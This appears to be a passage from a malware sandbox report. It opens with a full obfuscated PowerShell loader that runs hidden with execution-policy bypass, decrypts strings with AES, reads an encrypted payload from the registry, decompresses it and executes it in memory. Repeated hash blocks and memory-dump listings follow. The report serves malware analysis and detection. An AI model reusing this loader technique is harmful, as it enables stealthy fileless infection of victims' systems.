    "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(112).WaitForExit();[System.Threading.Thread]::Sleep(5000); $yasdo1 = New-Object System.Security.Cryptography.AesManaged;$yasdo1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$PGEDA = $yasdo1.('rotpyrceDetaerC'[-1..-15] -join '')();$mEpcD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('8dIxAukcUS2jlenUEJ52UQ==');$mEpcD = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD, 0, $mEpcD.Length);$mEpcD = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD);$hEIGi = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6poxNOAF5HxvT+4FRmNxhRRJZINGbNLmmbQZ7p9qwIk=');$hEIGi = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($hEIGi, 0, $hEIGi.Length);$hEIGi = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($hEIGi);$swhVB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('VwKA38/ag3Or4RFG8BEBkw==');$swhVB = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($swhVB, 0, $swhVB.Length);$swhVB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($swhVB);$GPNtv = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+q36k3zG8tDjCQhfGWK82wKgXiHPiM/sEwZR9r19xT6vDzyzjEG6FkWmEpBBgwO3qCgrlLMnBvi5B+SCtHheqNqeLeH6+GbzHt4wVwQ7d8W6l336oE8oAIcduMdkau+P4BLKvzx1f0kVTqoWpbQzXWEh5yIMTrqf7xn6aQJSalcw+P6hxgPQ8bvZy8HZGJjduavwWtUluJFqIAedLgMHYwZHqngc+7YrNL7FKZMHylHtBeVjM8lRKQccG+weIdeBl1Gw0JLXQ2QdM9DjxkXjkcG3hMN9HbKYG8xNfyB7Nar5Ag8kPpgM1MQZ01Qy7Gcqq4lNtJOcuHuJmeTcelpSFXGXBtIWYOyuSuIMYZYgfwuVzqG2fBFxavE45ZaOBO3/5tJh5XomRJP1h0epQjrEbgit7WjOELRTkEnc5i6iW8k=');$GPNtv = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GPNtv, 0, $GPNtv.Length);$GPNtv = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($GPNtv);$qGVcu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vg6vdfdHt5wA3UHEt1vRew==');$qGVcu = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($qGVcu, 0, $qGVcu.Length);$qGVcu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($qGVcu);$yIDpC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gP0Y3/JJcxUebJYcKeWQMg==');$yIDpC = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($yIDpC, 0, $yIDpC.Length);$yIDpC = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($yIDpC);$TXBbc = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hRGSsdwZ7V3OoZXTeu5mgA==');$TXBbc = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($TXBbc, 0, $TXBbc.Length);$TXBbc = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($TXBbc);$nQjjQ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KrEdHQCXxF+TzPfZH6WUig==');$nQjjQ = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($nQjjQ, 0, $nQjjQ.Length);$nQjjQ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($nQjjQ);$UuKgk = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('UjEbMTctiNnYJAgnNI2oSg==');$UuKgk = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UuKgk, 0, $UuKgk.Length);$UuKgk = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UuKgk);$mEpcD0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QwKrTyAmeTR2nhu/tMCwPw==');$mEpcD0 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD0, 0, $mEpcD0.Length);$mEpcD0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD0);$mEpcD1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wg1NUcq3HGLL7YVIz3Igxg==');$mEpcD1 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD1, 0, $mEpcD1.Length);$mEpcD1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD1);$mEpcD2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JvW3rW1v4VXAnDrX8EsaQA==');$mEpcD2 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD2, 0, $mEpcD2.Length);$mEpcD2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD2);$mEpcD3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('862pJ0UI1ziXmSSfUDCtmA==');$mEpcD3 = $PGEDA.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mEpcD3, 0, $mEpcD3.Length);$mEpcD3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mEpcD3);$PGEDA.Dispose();$yasdo1.Dispose();$bCPVQ = [Microsoft.Win32.Registry]::$nQjjQ.$TXBbc($mEpcD).$yIDpC($hEIGi);$XznIq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($bCPVQ);$yasdo = New-Object System.Security.Cryptography.AesManaged;$yasdo.Mode = [System.Security.Cryptography.CipherMode]::CBC;$yasdo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$yasdo.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BhSNRf2GjgLQacsUU4QwKOlI3za8lcvyMMfcJab5DtI=');$yasdo.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SZuvGx2yoaDyJgFWdoVMNQ==');$WWPRQ = $yasdo.('rotpyrceDetaerC'[-1..-15] -join '')();$XznIq = $WWPRQ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XznIq, 0, $XznIq.Length);$WWPRQ.Dispose();$yasdo.Dispose();$eOjfv = New-Object System.IO.MemoryStream(, $XznIq);$icncw = New-Object System.IO.MemoryStream;$FDCer = New-Object System.IO.Compression.GZipStream($eOjfv, [IO.Compression.CompressionMode]::$mEpcD1);$FDCer.$UuKgk($icncw);$FDCer.Dispose();$eOjfv.Dispose();$icncw.Dispose();$XznIq = $icncw.ToArray();$BhqNc = $GPNtv | IEX;$TbGRO = $BhqNc::$mEpcD2($XznIq);$Jnafu = $TbGRO.EntryPoint;$Jnafu.$mEpcD0($null, (, [string[]] ($swhVB)))
    3⤵
    PID:620

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-powershell.exe

Path C:\Windows\$sxr-powershell.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/112-159-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/112-157-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/112-189-0x00000150BA380000-0x00000150BA542000-memory.dmp

Download

memory/112-147-0x00000150B68E0000-0x00000150B6902000-memory.dmp

Download

memory/112-148-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/112-149-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/112-150-0x00007FFD93EF0000-0x00007FFD93FAE000-memory.dmp

Download

memory/112-187-0x00000150B9FE0000-0x00000150BA030000-memory.dmp

Download

memory/112-192-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/112-188-0x00000150BA0F0000-0x00000150BA1A2000-memory.dmp

Download

memory/112-155-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/112-156-0x00007FFD93EF0000-0x00007FFD93FAE000-memory.dmp

Download

memory/444-194-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/620-199-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/1800-136-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/1800-141-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/1800-137-0x00007FFD93EF0000-0x00007FFD93FAE000-memory.dmp

Download

memory/1800-132-0x0000000000DE0000-0x0000000001C2C000-memory.dmp

Download

memory/1800-142-0x00007FFD93EF0000-0x00007FFD93FAE000-memory.dmp

Download

memory/1800-174-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/1800-135-0x00007FFD93EF0000-0x00007FFD93FAE000-memory.dmp

Download

memory/1800-134-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/1800-172-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/1800-133-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/2200-162-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/2392-180-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/2800-202-0x00007FFD93EF0000-0x00007FFD93FAE000-memory.dmp

Download

memory/2800-201-0x00007FFD95A90000-0x00007FFD95C85000-memory.dmp

Download

memory/2800-200-0x0000000140000000-0x0000000140029000-memory.dmp

Download

memory/2800-196-0x0000000140000000-0x0000000140029000-memory.dmp

Download

memory/3140-182-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/3392-178-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/3504-176-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/3796-144-0x0000000140000000-0x000000014018B000-memory.dmp

Download

memory/3796-140-0x0000000140000000-0x000000014018B000-memory.dmp

Download

memory/3796-138-0x0000000140000000-0x000000014018B000-memory.dmp

Download

memory/3796-143-0x0000000140000000-0x000000014018B000-memory.dmp

Download

memory/4080-195-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/4612-151-0x0000000140000000-0x0000000140004000-memory.dmp

Download

memory/4612-154-0x0000000140000000-0x0000000140004000-memory.dmp

Download

memory/4692-191-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download

memory/4804-190-0x00007FFD78570000-0x00007FFD79031000-memory.dmp

Download